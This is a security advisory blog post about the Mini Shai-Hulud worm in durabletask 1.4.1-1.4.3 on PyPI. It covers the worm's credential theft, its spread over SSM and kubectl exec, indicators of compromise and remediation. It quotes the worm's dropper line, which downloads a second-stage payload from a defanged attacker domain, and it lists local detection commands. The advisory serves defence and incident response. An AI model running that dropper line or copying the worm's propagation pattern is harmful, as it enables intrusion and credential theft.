Skip to main content
SecurityMay 20, 20269 min read

Mini Shai-Hulud Worm Hits Microsoft's durabletask PyPI

TeamPCP's Mini Shai-Hulud worm backdoored durabletask v1.4.1-1.4.3 on PyPI, stealing AWS, GitHub and Vault secrets and spreading via SSM and kubectl exec.

durabletask 1.4.1-1.4.3 on PyPI Were Backdoored

If your CI or any Linux host ran pip install durabletask since 11 May 2026 and pulled version 1.4.1, 1.4.2, or 1.4.3, treat the host as compromised. Rotate AWS access keys, Secrets Manager and SSM Parameter Store values, GitHub Personal Access Tokens, HashiCorp Vault tokens, Kubernetes service account tokens, and any SSH or registry credentials that lived on the machine.

durabletask is the Python client library for Microsoft's Durable Task Framework, the engine behind Azure Durable Functions. The three malicious versions were the work of TeamPCP, tracked by Google's Threat Intelligence Group as UNC6780, as part of the cross-ecosystem supply-chain worm campaign that researchers have named Mini Shai-Hulud.

What The Worm Actually Does

On install, the malicious durabletask package runs a small dropper at import time. The dropper checks for Linux, then fetches a second-stage payload from a typosquatted domain. Per the analysis published by Aikido Security, the dropper line is effectively:

urllib.request.urlretrieve('https://check.git-service[.]com/rope.pyz', '/tmp/managed.pyz')

It then spawns a detached Python process with suppressed output. No stack trace, no error to the developer's terminal. If it runs in CI, the build still goes green.

The second-stage rope.pyz is the actual stealer. It harvests:

  • AWS credentials: EC2 instance metadata, then enumerates Secrets Manager and SSM Parameter Store across all 19 AWS regions including GovCloud, with WithDecryption: True for SSM
  • Azure Key Vaults and GCP Secret Manager
  • Kubernetes secrets and service account tokens
  • Docker socket queries, Terraform state files, SSH keys, AI tooling configuration
  • Password managers: 1Password, Bitwarden, pass, gopass

Everything collected is gzip-compressed, AES-256-GCM encrypted, then exfiltrated.

How It Spreads Past The Initial Host

This is the part that makes Mini Shai-Hulud worm material rather than just a stealer. After credential theft, the payload uses the credentials it just collected to propagate, on two paths:

  • AWS SSM SendCommand: enumerates up to five online non-Windows EC2 instances reachable with the stolen IAM credentials, sends each the same download command, drops the payload into /tmp/ with randomized filenames.
  • Kubernetes kubectl exec: same approach against up to five running pods using the stolen kubeconfig or service account token, skipping the pod the worm is already executing in.

A single compromised CI agent that had cross-account AWS keys or a privileged kubeconfig can seed every reachable EC2 instance and pod with the same payload, each of which then enumerates and spreads further. CI publish-token forging followed by SSM and kubectl exec lateral movement is the durable shift in supply-chain TTPs and the reason teams that locked down their npm and PyPI publish flows are still getting hit.

The Scale

Per published research from Aikido, Expel, JFrog, Hive Pro, and The Hacker News, the campaign began on 2026-05-11. Between 19:20 and 19:26 UTC that day, the worm published 84 malicious versions across 42 @tanstack/* npm packages, 84 malicious releases in six minutes. Within 48 hours the campaign had expanded to 172 packages across 403 malicious versions spanning both npm and PyPI, including TanStack, Mistral AI, Guardrails AI, OpenSearch ecosystem tooling, and Microsoft's durabletask. Check the current durabletask version on PyPI against the project's official release history before any new install, and pin away from the 1.4.1 to 1.4.3 range.

Indicators of Compromise

Pull these into your detection and run them across CI agents and production hosts now.

Package SHA-256 hashes (compromised releases):

durabletask-1.4.1  3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
durabletask-1.4.2  85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
durabletask-1.4.3  c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
rope.pyz           069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

C2 domains: check.git-service[.]com, t.m-kosche[.]com

Marker files left behind by the payload:

~/.cache/.sys-update-check
~/.cache/.sys-update-check-k8s

Quick local check:

# Marker files
ls -la ~/.cache/.sys-update-check* 2>/dev/null

# Suspicious dropper artifact
ls -la /tmp/managed.pyz 2>/dev/null

# Outbound DNS to the known C2 hosts (run on a host with recent DNS logs)
grep -E '(check\.git-service|t\.m-kosche)\.com' /var/log/named/*.log 2>/dev/null

If You Were Exposed, Order Of Operations

Treat any host that ran the bad versions as compromised. Concretely, in order:

  1. Quarantine the host. Detach its IAM role or rotate the access key it used, delete the kubeconfig it had access to, kill the pod.
  2. Rotate every credential the host could reach. AWS access keys, Secrets Manager entries, SSM Parameter Store values (SecureString included), GitHub PATs, Vault tokens, SSH private keys, container registry credentials, cloud SDK refresh tokens.
  3. Hunt the lateral movement. Look at CloudTrail for ssm:SendCommand calls during the exposure window from the compromised principal, and at Kubernetes audit logs for pods/exec from the same service account. Anything the worm reached needs the same treatment.
  4. Pin a clean version. Set durabletask to a version outside 1.4.1 to 1.4.3 in your lockfile and re-deploy.
  5. Reduce the surface that made the lateral movement possible. Long-lived AWS access keys on CI runners should be replaced with short-lived OIDC role-assumption (aws-actions/configure-aws-credentials with OIDC, not a static key). pods/exec should not be in default service account RBAC.

The GitHub Investigation, What Is Actually Confirmed

Separately and worth keeping distinct from the PyPI compromise: the same threat actor, TeamPCP, has posted a claim of holding approximately 4,000 GitHub internal repositories and is reportedly seeking offers above 50,000 USD on cybercrime forums. As of this writing, GitHub's own statement is:

"We are investigating unauthorized access to GitHub's internal repositories. While we currently have no evidence of impact to customer information stored outside of GitHub's internal repositories (such as our customers' enterprises, organizations, and repositories), we are closely monitoring our infrastructure for follow-on activity."

That is a TeamPCP claim under investigation, not a confirmed GitHub customer-data breach. Operationally there is nothing for a typical GitHub customer to do beyond what the durabletask compromise already justifies: rotate the credentials that should already be rotated, prefer short-lived OIDC tokens over long-lived PATs, and audit GitHub Actions for unexpected workflow runs. If GitHub confirms downstream customer impact the scope changes. Until then, the urgent and actionable story is the PyPI worm, not the headline.

Bottom Line

This is the same operator pattern as last week's ssh-keysign-pwn kernel disclosure: the bug or the package leaks credentials, so the fix is not "patch and forget" but "patch, then rotate." Mini Shai-Hulud adds that the worm uses the credentials it just stole to spread itself laterally before you notice, so the rotation has to happen on every host the original compromise could plausibly reach. Static long-lived AWS keys and broad pods/exec RBAC are the configurations that turn a single bad pip install into a fleet-wide incident.

If you want a coordinated response across CI, AWS, and Kubernetes, including credential rotation, log analysis, and supply-chain hardening, our security and compliance and Kubernetes management teams handle exactly this kind of cross-system incident.

Want to learn more?

Get in touch with our team to discuss how we can help your infrastructure.